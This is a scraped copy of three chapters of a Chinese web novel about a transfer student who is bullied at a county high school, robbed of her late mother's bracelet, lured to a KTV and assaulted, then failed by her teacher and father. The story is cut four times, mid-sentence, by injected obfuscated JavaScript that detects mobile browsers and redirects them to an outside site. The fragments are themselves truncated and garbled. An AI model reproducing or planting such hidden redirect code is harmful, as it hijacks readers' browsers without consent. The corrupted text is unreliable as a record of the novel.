“你听谁说的？假的吧，我长这么大，没听过林昕远还有什么亲人，不是都死完了吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387080|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 他在的时候没有人敢说他的坏话，甚至他一来大家都鸦雀无声，但是人走了之后，说是人走茶凉，树倒猕猴散也好，说是大家早就对他好奇了也好，那些之前朴芯从未听到过的，关于林昕远的评价在不算宽阔的走廊上蔓延发酵。 夹杂着贬低，辱骂，感叹，茫然。 朴芯还看到了罗茜。 自从上次她在大排档的事情之后她们就再也没说过话，也默契地不再一起回家。 罗茜也从未向她解释过什么。 她性格是有些偏坏的酷，有时候遇见事情也懒得解释，伪装，直直白白，就清楚地告诉朴芯。 ——你不是我朋友，我也不会对你的安全负责。 今天这一眼，罗茜也很快就收回视线。 朴芯揉了下额头，回到教室开水的白气从保温杯的沿口往上飘，窗户上有一层遇冷凝结的水雾，雾蒙蒙地遮住窗户。 能模糊地看到远处的房屋和枯萎的树木，天色暗沉，又是一个坏天气。 朴芯往后看了眼，临近上课，总算没人坐在林昕远的位置上了。 她想了一会，还是没有换椅子。 也许呢，也许林昕远还会来上学校。 不上学，好像不太好？ * 林昕远在朴芯的生活中占比太少了，所以他的离开对朴芯也没产生多大的影响。 她还是学习，还是继续学着难懂的生物。 刘华连还让徐怀仁辅导她的生物。 相比于林昕远的坏脾气，徐怀仁则和善很多，他不仅帮朴芯辅导错题，每天放学后还会多留半个小时帮朴芯复习知识点。 又过了好几天，到周三，朴芯下意识地往后传试卷的时候才猛然想起来自己的手链还在陶西红那里。 本来上上周她就应该收到手链，但陶西红说她买的手链还没到，晚点再还给朴芯。 朴芯当时也没有特别关注这件事，就说了好，一直拖到现在。 她中午吃过饭，回到教室时陶西红、叶然她们刚好也在。 朴芯走到旁边开口：“上次的手链你用好了吗？” 陶西红的手上没戴手链，她和叶然对视一眼，陶西红说：“我明天拿给你，忘在家里了。” 她语气离透着股无所谓，朴芯微不可见地蹙眉，但还是说了好。 “明天一定要还我了，因为这是我妈妈留给我的。” 叶然翻了个白眼，说：“行了，我们都知道了，你要说几遍？” 朴芯愣了下，旁边的陶西红推了下她，说：“你先回去呗，明天就把手链给你。” 朴芯被叶然的话说的有些懵，她站了会想说什么，又想起周婵的叮嘱，没说话就回到座位上。 下午第五节课刘华连进来开了会班会，本来要聊纪律的事情，最近校门口天天都有大家的。 但他今天不知道怎么有了当合格班主任的兴致，可能也是因为对林昕远退学的事情触景生情。 刘华连在班级里花了五分钟进行简短的劝学，然后给大家发了一沓信纸，说让大家给彼此写信。 不知道写给谁都前后左右看看，写给旁边的人。 非常明显的可以看出来，班上所有人都这个活动都意兴阑珊，随便敷衍两笔了事。 朴芯在这种环境下，也写不出什么真情实感的话。 她感觉班上谁都不想收这封信，也不知道该给谁写。 半天，打算写给后面的林昕远结束这个任务。 朴芯就写了一句话，规整的楷书。 “林昕远，你还回来上学吗？ ——前桌朴芯” 11. 第 11 章 早上朴芯到教室发现桌上有条手链。 绿色的四叶草乍一看和朴芯之前那条一样，但等拿起来才发现无论是重量还是做工都比正品差很多。 以至于都不需要朴芯有太多的鉴赏能力，就能发现这条手链是假。 临近早读，她往陶西红那边看去，心想是不是拿错了？ 但是还没来得及多想，前面的课代表下来收作业，朴芯从书包里拿出作业交给他们，然后拿出书本准备先早读。 一高的语文早读有专门的资料，是整理的古诗词和古文，朴芯的资料夹在语文书里，放在课桌里面。 她弯腰去拿，但没找到。 朴芯还以为自己找错地方了，干脆蹲下来找，但是翻遍课桌也没找到。 书包里，练习册的夹层里她挨个翻了一遍，就是没有那沓资料。 她仔细回想自己好像也从来没把资料带回家过，怎么会不见了？ 朴芯想不通，但是一时半会也没别的办法，可能是自己粗心放在哪了，只能等放学后再去打印一份。 早读语文老师来上课，视线好几次从空着手的朴芯这边扫过，眼里的情绪十分明显，“哎，又是一个学坏的，小小年级不读书。” 朴芯被看的异常尴尬，拿了张试卷假装是资料，跟着旁边的学生背书。 好不容易熬到下课，她交完剩下的作业，拿上手链先去窗边找陶西红。 陶西红和叶然是前后桌，两人正在涂指甲油，周围有几个同学早读一下课就在睡觉，朴芯轻声说：“陶西红，你手链是不是拿错了，这不是我的那一条。” 陶西红闻言停下动作，转过头问：“哪里不是了？” “这条手链的重量太轻了，而且我那一条的链子……” “哦，”叶然好似恍然大悟：“你的意思是我们故意给你假货？” “不是——” 朴芯想解释：“我想问是不是拿错了？” “什么拿错拿对？”叶然啪的一掌拍在桌上：“你不就这个意思吗，我和陶西红骗你，故意给你假货。” 叶然连珠炮般说：“你给的不就这个吗？什么太轻太重的你哄谁呢，你当谁不认识啊？就你城里来的大小姐识货，我们都要害你？” 这边的动静很快引起班上同学的注意，连周遭睡觉的同学都醒了，睁眼往这边看，不耐烦地说道： “md有完没完，大早上的吵架，让不让人睡觉了？” “要吵出去吵……” 叶然转过头说：“又不是我要吵，是我们的新同学，非常挑事！” 朴芯沉默了两秒，把手链放到桌上，还是解释：“我没有说谁识货谁不识货，不管真的假的，我借你的不是这一条。你应该还我的是当时我借给的那条手链，那是我妈妈给我的东西，我一定要。” 陶西红头也不抬地说：“就这一条，爱要不要，我借的就是这一条。” 朴芯几乎是立马就生气了，当初借手链的时候陶西红明明承诺很快就还，结果拖到了现在不说，她还给一条假的。 朴芯不太会骂人，但提高了声音：“你怎么这样？” 陶西红还没说话，叶然先伸手推了一把陶西红，打趣说道：“她发火了，是不是还要打你啊？” “没有吧，她不是对谁都笑吗？”陶西红扬起脸对着朴芯：“你要打我啊？来啊你试试？” 她们一唱一和，朴芯都插不上话。 但她还是费劲地压下心里涌上来的那股茫然和挫败感，尽量强硬地说：“我就要我的那条手链，如果你不还，我会，会告诉老师或者报警。” 在朴芯的脑海中已经是最恰当的办法了，但是边上的好几位同学都笑了，叶然也在笑，她轻打了下陶西红，嬉笑着说：“她要告你。” 陶西红的脸色没那么好，但也不是很严肃，她是语文课代表，下节课上课前要去拿试卷。 站起来对着朴芯说：“你要是想惹事就尽管去告老师，去报警。到时候你别怪我们事先没提醒你。” 随即撞开朴芯的肩膀就走了。 朴芯在班级的议论声中回到座位，她想装作若无其事的样子拿笔，但是刚握住笔就发现自己整个手掌都在因为激动而颤抖。 轻颤的频率让朴芯没法握紧笔，所以其实从一开始陶西红就没打算把手链还给她。 可是对方借手链的时候朴芯才转学几周。 她没有惹过陶西红，甚至都没和她们说过话，只在进校的第一天给她们送过礼物。 而且几周的时间，为什么朴芯不认识的校外人洪强却知道她？ 直到上课，朴芯都没办法冷静下来。 然后到中午，她发现自己不见的语文资料在教室后面的垃圾桶里。 垃圾桶里扔满了垃圾，果皮，沾染着灰尘的头发还有用过的餐巾纸。那一沓资料塞在垃圾桶侧面，最顶上一截白纸突出桶沿，黑色墨水笔规整的写着“一班朴芯”四个大字。 朴芯的大脑“嗡”了一下，她站在班级后面看了一圈。 找不到是谁干的，陶西红？叶然？还是别人？ 她正要问是不是有人扔掉了我的资料，教室里已经有学生转头看她，然后继续回头低语。 声音很小，朴芯也听不见他们说了什么。 但是她有种被孤立在外部的感觉，好像从头至尾，她都没有融入这个班级。 朴芯还是说了，声音有点颤，但是足够清晰：“我们班是不是有人拿了我的语文资料，希望你下次不要再这样做了。” 临近午休，前面的学生关掉了灯，教室里窸窸窣窣传来几声挪椅子，搬书找地方睡觉的细微动静。 没有人理朴芯，也没有人在意她的话。 只有徐怀仁站起来说了一句：“朴芯，回到自己位置上吧。” 朴芯垂着脑袋回到座位，她抓了抓自己的手指，眼眶里蓄满眼泪，但是没哭，就是眼睛很红。 过了会，从旁边扔出一个纸条落到她桌上。 借助教室里微弱的灯光，能依稀看见上面就一句话：“息事宁人，挺过这半个学期。” 朴芯往旁边看，但吴若莹却转头朝向另外一边睡觉。 朴芯愣住。 她很小声地说了句谢谢，但是做不到息事宁人。 那条手链她无论如何都要拿回来。 今天周四徐怀仁是值日生没法讲题，朴芯放学先走了，她背着书包到楼下，刚走到奶茶店，被人叫住。 “妹妹，今天这么早放学啊？” 是乔宇，他像上次那样蹲在路边抽烟，背了书包，看起来也刚出校门没多久。 自从林昕远退学之后他的朋友们似乎都老实了一些，也按时按点上课了。 朴芯点点头。 乔宇确实刚出校门，在这等人，反正闲着也是闲着就和朴芯聊会天。 他拉进距离般说道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387081|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喝不喝奶茶？远哥走了你也别怕他了，这次我请你。” 其实朴芯已经很久没听到关于林昕远的话了。 学校里面每天都有新八卦新事故，大家在最初讨论过林昕远之后很快又把他抛之脑后，去追求更新更劲爆的故事。 除非是碰到什么特定的情形，比如打架，抽烟，会有人想起他，想起“一班原先那个姓林的，打架真吊我艹，可惜退学了。” 不然几乎没人再提起他。 他退学了大半个月，但朴芯却觉得好像过了很久。 朴芯笑了一下，但还是拒绝，“我不喝奶茶，谢谢。” 乔宇掸了掸烟灰，开玩笑地说：“戒奶茶了？远哥给你留下这么深的阴影？” 朴芯说不是，乔宇好歹和林昕远也当了这么多年朋友，多为他解释了几句，说：“远哥脾气差了点，但不是你想的那样，他人很仗义，这些年过得也随便，幸好他妈从浦江来了，带他走了。” “他已经离开陇县了吗？”朴芯问：“他妈妈之前怎么不带他走？” 乔宇说：“他家里情况复杂，他爸去世的早，他妈很早就改嫁了，没把远哥带走，就最近这段时间，不知道为啥忽然又回来了。” 林昕远的故事并不复杂，他父母是经人介绍才结婚的，父亲是大车司机，常年跑长途，没去世之前就经常不在家，后来出了车祸，母亲当时在外面读博，听到消息后干脆改嫁，留在了浦江。 林昕远当时还很小，但从此就成了没人管的小孩。 打架斗殴，逃学这些都是家常便饭，他家里没人，林昕远也不回家，就在陇县到处乱逛，走哪睡哪，反正他拳头硬，也没人敢惹他。 林昕远的母亲叫沈青，应该就是朴芯上次看见的那个女子。 她之前很少管林昕远，经常三四年才回来一趟，待不了几天很快又走，这次不知道为什么忽然回来要把林昕远接到浦江。 浦江离陇县有一千多公里，不知道他们还有没有再见面的机会。 朴芯脑海中胡乱地想着事情，一会是陶西红一会是林昕远，她点点头，说谢谢。 乔宇站起身，问：“你家在哪，我送你回去，刚好没事。” “不用了，”朴芯拒绝：“我到家很快，你去忙你的事情吧。” “到家快就更好了，刚好我送完你再来找他们，他们还有一会才出来，”乔宇很热情地硬是拉着朴芯上车，他骑的是电瓶车。 到朴芯家确实很快，一来一回也就二十分钟。 他再到学校时罗茜他们已经出来了，站在奶茶店门口，旁边还有个熟人，洪强。 乔宇率先停下车。 罗茜捧着一杯奶茶，问：“乔宇你去哪了，不是让你在校门口等吗？” 乔宇和洪强的关系一般，更准确的来说是非常差，甚至比洪强和林昕远还要差，毕竟一开始两边就是因为乔宇才闹起来。 洪强似笑非笑，下来拦住乔宇的车，“兄弟，这林昕远都走了你没其他打算？” 他话里威胁意味明显，乔宇手搭着车把，警惕地问：“我需要有什么打算？” “别这么冲啊，”洪强揽着他的肩膀，朝后面学校看了眼，低着头好似商量般说：“帮我约个人出来，咱们俩的账一笔勾销，怎么样？” 乔宇已经猜到了，但他还是问：“你要约谁。” “你们那个转校生，”洪强说：“以前跟林昕远的那个。” 12. 第 12 章 刘华连做班主任的态度就是和稀泥，大事化无，小事当听不见，打架斗殴当跳舞，违法乱纪睁一只眼闭一只眼。 他听完朴芯的话，喝了两口茶水说道：“借手链啊，你和陶西红你们私底下聊聊，好话好说，老师年纪大了，和你们这些年轻人之间有代沟，有些事情老师也理不清楚。” 朴芯此时还没听明白他话里的推脱，仍旧说道：“可是她给我的是假的。” “哦，假的啊，”刘华连像是觉得棘手，挤挤眼睛说道：“老师不懂你们年轻人，首饰能戴不就好了。学生啊还是应该把心思都放到学习上。” “可是这不是一回事，”朴芯急切地说。 她隐约听出来刘华连的和稀泥态度，但从前的教育让她下意识地相信老师，觉得作为老师就算不完全处理学生之间的矛盾，至少也会稍微干预一下。 问清楚学生争执的原因，到底是朴芯说谎还是陶西红确实还了一条假手链，然后劝诫几句。 可是那毕竟是从前，刘华连不是在大城市当班主任，他有他独特的中庸机制，不管学生闹成什么样，那都和他无关。 刘华连只需要教好自己的课，把学校交代的事情传达下去就行了，至于其他的，其实他不管也是一种保护。 刘华连又咂了一口浓茶，撂下杯子开始他的劝诫：“你新转过来，和同学们之间彼此不熟悉有些矛盾啊，在老师看来也正常。咱们这里的情况和你原先的学校不太一样，有些事情啊就不要计较了。离高考还有半个学期，你先好好学习，剩下的事情都可以放一放。” 刘华连这番话说的太有水平了，既涵盖了不想管事的甩锅又有委婉的劝告，直到一周后。朴芯才理解他话里的深意。 但现在不是彼时，朴芯只听出了他的推脱。 朴芯捏紧自己的手，有些艰难地开口：“我不想放。” 刘华连叹了一口气，“你为什么非要抓着这件事不放？” 朴芯就不是一个很会说话，很会和别人争论的人，按照周婵的话来说她只能家人和朋友外面耍点脾气，一到外面就有些紧张安静。 其实之前在南京的时候，朴芯如果在学校或者是外面遇到不公平的事情，她大部分情况并不会站出来争辩，而是选择沉默。 然后可能会回家告诉周婵，妈妈会帮她处理的。 她不需要勇敢，不需要擅长据理力争，不需要学会听懂别人的言外之意，只需要把一切都毫无保留地告诉周婵。 但是周婵现在不在她身边。 她曾经忧心地和朴芯说如果妈妈不在了，你该怎么办？ 这也是她病中最担心的事情。 没人比周婵清楚朴芯，清楚她的迟钝笨拙，所以她要一遍遍提醒朴芯，你要勇敢，要好好生活。 朴芯当时说了好，她会按照周婵期望的那样学着自己处理麻烦，保护自己，不会再让妈妈担心，这是她对周婵的承诺，她会做到的。 朴芯下意识扶着桌面说：“……因为那是我的东西。” 刘华连眉头紧皱，好半天叹息着问：“你想老师怎么办？” 他把问题抛给朴芯，她顿了好久说：“能不能把这件事告诉陶西红的家长，他们应该会管。” “请家长？”刘华连问。 朴芯点头。 刘华连摸着下巴斟酌一会，片刻后说：“既然你这么说了，老师这边也会尽快安排，回去学习吧，把成绩往上提提。” 朴芯听见他同意，也松了一口气，赶紧说谢谢老师。 刘华连挥挥手示意她回去吧。 从办公室出来离上课就两分钟了，朴芯跑回教室，她进去的时候老师已经在班上了，但叶然她们还是回头盯着朴芯看。 朴芯只能当没看见，进去坐下后才发现自己的课桌被翻的乱七八糟，书本胡乱散开，笔袋的东西也都被人倒了来，最上面的几张试卷全都皱成一团。 是谁干的不言而喻，但临近上课，朴芯慢慢地、轻动作地把东西收拾好。 她那时候心里只有短暂的不悦，东西收拾好就认真听课，她天真的觉得这些麻烦很快就会消失。 请家长在朴芯看来已经是很严肃的处理办法了，是一个足够能解决目前矛盾的方式。 她没能仔细思考陇县和她过往待的大城市完全是两回事，从学校的管理到班上同学的行事作风都和从前截然相反。 这是一座落后，破旧的县城，和大城市相比有它自己独特的运作方式，没有谁比谁更高贵一说，因为大家都身处不同的环境，接受不一样的生活洗礼。 但是朴芯没有意识到。 她把以前浅薄的经验放到现在来用，把陇县当成自己原来的学校，所以注定会得到一个很差的结果。 她笨拙地去尝试独自解决麻烦，然后就发现，原来一切才是刚刚开始。 那天放学，罗茜给朴芯打了一个电话，说是让她出来玩。 自从上次她生日之后两人本就不熟络的关系彻底变淡，甚至都没再说过一句话。 朴芯不懂她为什么这个时候叫自己，而且自己也参与不进罗茜的朋友圈，片刻后委婉拒绝：“我还要写作业，今天没时间过去。” 罗茜那边听起来很嘈杂，DJ声说话声混合在一起，她提高声音：“你不来？” “嗯，我还有事情，你们玩吧。” 说完，罗茜哦了一声，但是电话没有被挂断，紧接着是一个男声：“喂朴芯？” 太吵了，朴芯一时间没分辨出来对方是谁，她愣了下问：“怎么了？” “你要不抽时间来一趟？” 乔宇从沙发上起身，他知道上次林昕远帮朴芯的事情，也知道以她的性格大概会记得这件事，因此走到角落说：“远哥也在，叫你过来。” 这下朴芯听出来乔宇的声音了，她顿了顿，不解地问：“林昕远不是去浦江了吗？” “啊这个……” 乔宇还没编好理由，旁边洪强拎着瓶酒搭上他的肩膀，对他努努嘴，示意他快说话。 室内的DJ曲吵得人耳朵疼，乔宇对着手机说：“远哥刚回来，让你来给他送包烟。” 其实他只是随口扯了像样的理由，想着要是朴芯不来，那就算了，但是他没想到林昕远曾经真的让朴芯帮他买过烟。 所以朴芯愣了几秒，又问：“他回来上学吗？” “不知道，”乔宇说：“要不你自己过来问问他？” 他等了一会，听见那边应了一声好。 手机开着外放，旁边的洪强也听见了这句回话，他拍了拍乔宇的肩膀，比了个大拇指。 后者在他的目光下报了地址，然后又是一声好的。 乔宇皱皱眉，挂了电话，洪强往嘴里灌了几口酒说：“还是林昕远这个名字有用。” * 朴芯是晚上八点半到的，她跑过来在ktv门口戴上口罩，但是工作人员压根没查她身份证，直接就让她进去了。 到乔宇他们所在的包厢，还没敲门就先听到里面吵闹的声音，乔宇开门之后，她看到房间里沙发上挤着好几个人，灯光开的很暗。 朴芯扫了一圈，没看到林昕远，看到洪强了。 立马，她察觉到了不对劲，但刚想走却被人握住手腕。 灯光被调亮许多，冯江拖着朴芯往里走，洪强周围的罗茜和其他几个人都站起来往外走。 朴芯还没来得及说话就被捂住嘴，她抓住门旁乔宇的手臂，但是被拂开了，乔宇垂眼，不自然地安慰：“没事。” 所有的一切都发生地太快了，恶意像癌细胞一样蔓延，起初只是被踩脏的书页，陌生人突然的问候，然后是污蔑，随之急速地扩散，等到朴芯发现这些细微的异样时，其实一切早就扩散到无法挽回的地步。 她不知道那天是怎么度过的，尖叫哭喊或者是锤打，ktv的动感灯光一直子在头顶盘旋。 洪强好像喝了很多酒，有股难闻的酒臭味迎面而来，朴芯呼吸急促，控制不住地想呕吐。 她反抗地太激烈，洪强骂了好多句脏话，朴芯听得不真切，她仿佛窒息在潮湿黏腻的海里，海水冰冷干燥往鼻腔里涌，窒息感扼住喉管。 无法喘息的感觉让她脸色通红，朴芯抓紧沙发，整个身体都在僵着。 洪强察觉到了异样，他吓傻了，赶紧咽了口唾沫拍拍朴芯的脸：“我艹nmd别害老子，你有病吗，艹艹！biao子艹……” 朴芯抓住他的手，胸腔急速起伏拼命从周围糟糕的环境中夺取一丝氧气，“去医院，我……有急性哮喘。” “医院？！”洪强顿时傻眼。 * 可能是怕出人命，所以洪强拿了东西逃似地走了。 朴芯躺在沙发上好像一眨眼就过了很久，但是幸好缓过来了，肺像烧灼一样痛苦。 晚上十点，朴芯从沙发上艰难起身想去外面想买药，但是镇上的药店没开门，她走回来的时候打了报警电话， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387082|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个后半夜都在警局。 警察尽责地叫了当晚在ktv的人和员工过来录笔录，但所有人都说只是在开玩笑。 朴芯身上有伤，可也只有手腕上一圈，还不足以作为定罪定居，警察也没有办法，跟朴芯说让她家长过来。 晚上十一点的时候她给朴兴南打电话。 打了两遍才接通，朴芯还在咳嗽，她话都讲不出来，断断续续地说，刚说了一句：“爸爸，我这边发生了一些事情，现在，在警局……” 那边有不耐烦的声音从听筒里传过来：“大晚上的打什么电话，烦不烦明天还要上班，赶紧挂了，吵死了！” 朴芯握紧了手掌，她眼睛里都是泪水，盯着前面的灰白墙壁，还是开口请求：“爸爸，你能过来一趟……” “朴芯啊，”朴兴南打断她的话：“爸爸这里事情很多，你在警局就听警察叔叔的话，人家叫你干什么你照做不就好了，太晚了，早点睡吧，爸爸先挂了。” “可是——” 朴芯正要说话，听筒里却传来挂断的忙音。 短促的滴滴声，朴芯呆了几秒，她把手机举到面前看了一眼，确实是挂断了，通话时间只有三分钟。 派出所没有开空调，铁制的休息椅一片冰凉。 朴芯大脑混沌地想抓住些什么，但是想起来却只有小时候朴兴南带她去游乐场的情景。 她记事情很早，朴兴南在和周婵离婚后的一年还时常来看朴芯，带着她去商场，去看动画片，给她买玩具。 朴兴南会抓着她的手问她芯芯今天高不高兴啊，说即使离婚了，爸爸也永远爱她。 那是好久之前了，朴兴南再婚之后他再也没来看过朴芯，他的儿子比朴芯还要大一岁，只是因为晚一年上学才上高二。 爸爸，你不是说会永远爱我吗？ 朴芯忽然想哭，眼泪全聚在眼眶，只要轻微的一眨眼就会流泪。 洪强和乔宇他们站在不远处，朝这边看。 朴芯转过头，死死地攥紧自己的手强忍着眼泪，指甲扎进肉里，是尖锐的痛感。 那一切都发生的太快了，快到朴芯来不及反应，来不及解释。 第二天她很晚才去学校，也许在陇县消息传的很快，所以大家都在用奇怪的目光看着她。 吴若莹下午第二节课提醒朴芯，陶西红的父母来了，刘华连让她去办公室。 迎接朴芯的并不是公正，而是陶西红父母的破口大骂，几乎是朴芯一进教室陶西红的母亲就站起来，情绪激动地说：“凭什么她说我女儿拿了她的东西，你们学校怎么教的学生撒谎成性，我女儿戴的手指我当妈的能不知道不懂吗？！” 她父亲随即也站起来，把教室的桌子拍的震天响：“道歉！必须让她道歉！没证据造什么谣？” 周围有两个老师劝阻，让他们在学校不要大吵大闹，陶西红无所谓地站在墙边，全程都没吭声。 朴芯愣住了。 她刚才费劲组织的那些措辞都堵在嗓子里，一句话也没说出来。 刘华连叹息一声，问朴芯，你有监控吗，有其他人能证明陶西红拿了你的手链吗，有证据吗？ 那都没有，一条手链三四万，抵得上我们县城有些家庭全年的收入，这样的大事我们学校处理不了。 所以呢，和解吧，只能这样。 朴芯不同意，死不松口，直到电话打给朴兴南。 刘华连把声音外放，朴兴南说：“一条手链，我女儿戴的也不是真的，我们不追究，朴芯，给叔叔阿姨道歉。” 陶西红的爸妈像得了圣旨，狠狠地推了一把朴芯，“你听到你爸说什么了没有？” 所有人都在看着朴芯，其实她愣住了。 从昨天晚上开始，她就一直好像没有反应过来，像台过载的旧电脑卡顿地没有反应。 她没有道歉，任凭别人怎么说都没有。 放学后朴芯一个人回家。 天空是极深的灰色调，陇县矗立着很多电线杆，黑色的电线往前交错延伸，把远处的天空和房屋切割分裂。 她背着书包慢慢地往前走，耳机里放着轻快的歌，像是从前无数次回家那样。 书包上有个派大星挂件，是周婵送的，挂件上面喷过她常用的香水，现在只剩下浅谈的味道。 朴芯想起她灰色的职业裙，好闻的香水味和温和话语。 妈妈，我想念一切有关你的形容。 我想你在我身边。 13. 第 13 章 沈青订的酒店在顶层，五星级，够阔气的。 她知道林昕远抽烟有瘾，基本一周一包烟，虽然不赞同但也说了在酒店里他可以毫无顾忌的随便抽烟。 不过林昕远住得实在别扭，还是出门找了个地方抽烟。 他仍旧是以前那副做派，没骨头似的躺在路边的椅子上，顶多是抽的烟从白沙换成了高希霸、卡比龙之类的。 林昕远边点烟边摸出手机看。 前几天东奔西走，他还没得及看消息，点开社交平台里面杂七杂八的消息很多，显眼的是刘华连发过来的一条短信，就单独的一个红点显示在桌面上。 林昕远刚要点开看，两个小孩在保姆的陪同下从不远处的大门里跑出来，哥哥、哥哥的叫个不停，吵的他暂时从手机上抬眼。 两个小孩是沈青生的龙凤胎，昨天刚从浦江过来，一来就缠着林昕远不放，给他整的贼烦。 两个小孩跑近了好奇地看着林昕远手里的烟：“哥哥，你在吃什么？” “妈妈说外面太冷了，哥哥穿衣服。” 林昕远了手机，朝小男孩那边轻点下巴：“你叫罗什么？” “罗塞，”他拉着林昕远的衣服说：“是赛罗奥特曼的罗塞，她叫罗小泡。” “我不叫罗小泡，”另外一个小女孩也拉林昕远的衣服，反驳说：“我叫罗意菡！” “你小名就叫泡泡……” “那是小名，我长大了就没人这么叫我了，你还叫蛋蛋呢……” “你才叫蛋蛋……” “行了，”林昕远对小孩没有任何耐心，沈青和她老公都不是话多的人，怎么生的小孩这么吵？ 他抽了口烟说道：“蛋蛋，泡泡是吧，你妈让你们回去写作业。” 罗塞回头看，狐疑地问：“妈妈不是去接爸爸了吗？” 今天沈青的老公也要过来，沈青刚去接他。 “我听到了，你妈刚才给我打电话了。”林昕远敷衍了几句，旁边的保姆看出他的不耐烦了，连忙哄着两个小孩回去。 等人走了林昕远重新打开手机，刘华连还发了几条消息。 【前几天班会课的活动，我叫同学们写信，人家给你写了一封，老师今天想起来了，拍给你看看】 无聊。 林昕远点开照片，上面有人用清秀俊丽的楷体写着，“林昕远，你还来上学吗？” 落款是前桌朴芯。 没有多余的话，但是林昕远透过这短短的两行字似乎还能想到她的声音，咬字有些认真，声音很轻和，每次林昕远在外面抽烟的时候，她都要抬头看一眼。 自以为掩饰的很好，其实别人一眼就能看出她脸上写着什么，写着“哇塞居然还能在这里抽烟，好与众不同。” 再加上眼睛瞪的圆润，就让人很想笑。 林昕远咬了下烟，本来想当做没看见，他边翻其他消息边抽了两口烟，外面的天气冷，烟雾凝成一道白气。 酒店这边车很少，周围异常安静，他刚看两条消息，烟抵在唇边却忽然停住盯着天空看。 良久，骂了声艹，回头又把那条彩信翻出来，截屏、保存。 * 一切从那天起好像滑入了一个不可控制的漩涡。 之前踩脏的书页和出现在桌子上的水渍原来都不是巧合，一班和二班也不是按成绩分的班级，一班里也有许多人不学习。 吴若莹其实也会抽烟，她抽一种很细的女士香烟，有时候低年级的男生上来会给她递烟。 陶西红和洪强谈过恋爱，朴芯第一天来上学的时候就有人拍过她的照片放到校内校外传播，洪强也就是那个时候知道朴芯的。 她那个时候太天真，对所有人都是既送礼物又是好脾气的微笑，所以自然而然的让别人觉得她好招惹。 朴芯是外来者，而且是位与众不同的外来者，所有人都能显而易见的发现她的不同，单纯柔和、对周围有点局促的懵懂。 排斥异类是绝大部分人都会的天然技能，会对自己第一眼陌生的人和事产生天热的警惕心，有时候这份警惕会随着相处的加深被消融，有时候会根深蒂固的留存。 朴芯的不同太明显了，一班的大部分人都和她没有多少共同交际，因此谈不上成为朋友。 而且她的身上有别人想要的东西，比如高价的手链，漂亮的脸，所以她泰然的背排斥在陇县的环境之外，也理所当然的成为部分人眼中的众矢之的。 无聊、欲望，消遣这次原因就足够把朴芯的生活推入深渊，一个人跟上很快就有更多人蜂拥而至，校内校外，她始终在被针对。 吴若莹对朴芯的提醒仅限于那一句息事宁人，她也要学习，打算考大学，不想因为朴芯扯上什么麻烦。 偶尔，吴若莹会在朴芯被叫出去的时候说句话，她的人脉足够广，大部分人也会卖她一个面子，但也只是偶尔。 在这里每个人都有自己的生活轨迹，彼此偶尔交错，但大多数情况下都相互旁观。 没有人能够帮她，朴芯比任何人都清楚这一点。 林昕远是在一个傍晚推门进来的。 当时正在上语文课，夕阳西沉，绚烂的橙红色如火烧般蔓上天空，周遭有几个同学趴着睡觉，台上的老师用催眠的冗长语调讲解题目。 忽然，有人推了下后门的把手，生锈的把手发出一阵咔呲的异响，在安静的教室里格外清晰。 随即是开门声，从门外传来一阵冷风，然后是林昕远的声音，低沉磁性，还和他一个多月前他走时差不多。 “老师，我来上课。” 老师从书本里抬头，似乎也没料到居然是他，愣住了。 林昕远也没管他，直接往座位上走，他的位置还在那，这几天没人打扫过，桌面上有一层灰。 林昕远刚坐下，旁边就有男生连忙给他递纸。 教室里的学生也通通回头看，搞得他不像是回学校，倒像是皇帝回行宫。 不过没有任何议论声，前面的老师终于反应过来了，拍拍手招呼同学们接着听课，“把试卷翻到下一页，我们看下一道选择题，都认真听讲。” 除却刚才林昕远进来时带来的一丝冷气，教室里仍旧沉闷，朴芯自始至终都没有回头，她安静地把试卷翻到下一页。 林昕远回到教室往那一坐就跟从来没离开过一样，十分适应。教室里还是以前那样，前桌朴芯正在写字。 她微微弓着背，穿着灰色的外套，扎了一个低马尾。 手上还是没有戴手链，握着笔，没有像其他人那样回头看林昕远。 林昕远在后面轻敲了几下桌面，随即倒头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他也不晃椅子了，皱眉问：“朴芯，你没听见我和你说话？你tm谈个恋爱有必要搞得跟守节一样吗？” 徐怀仁蓦然抬头，正要说话，朴芯却扯了扯他的袖子示意没事，后者倒也是听话，低头看了眼朴芯，果真没开口，接着拖地。 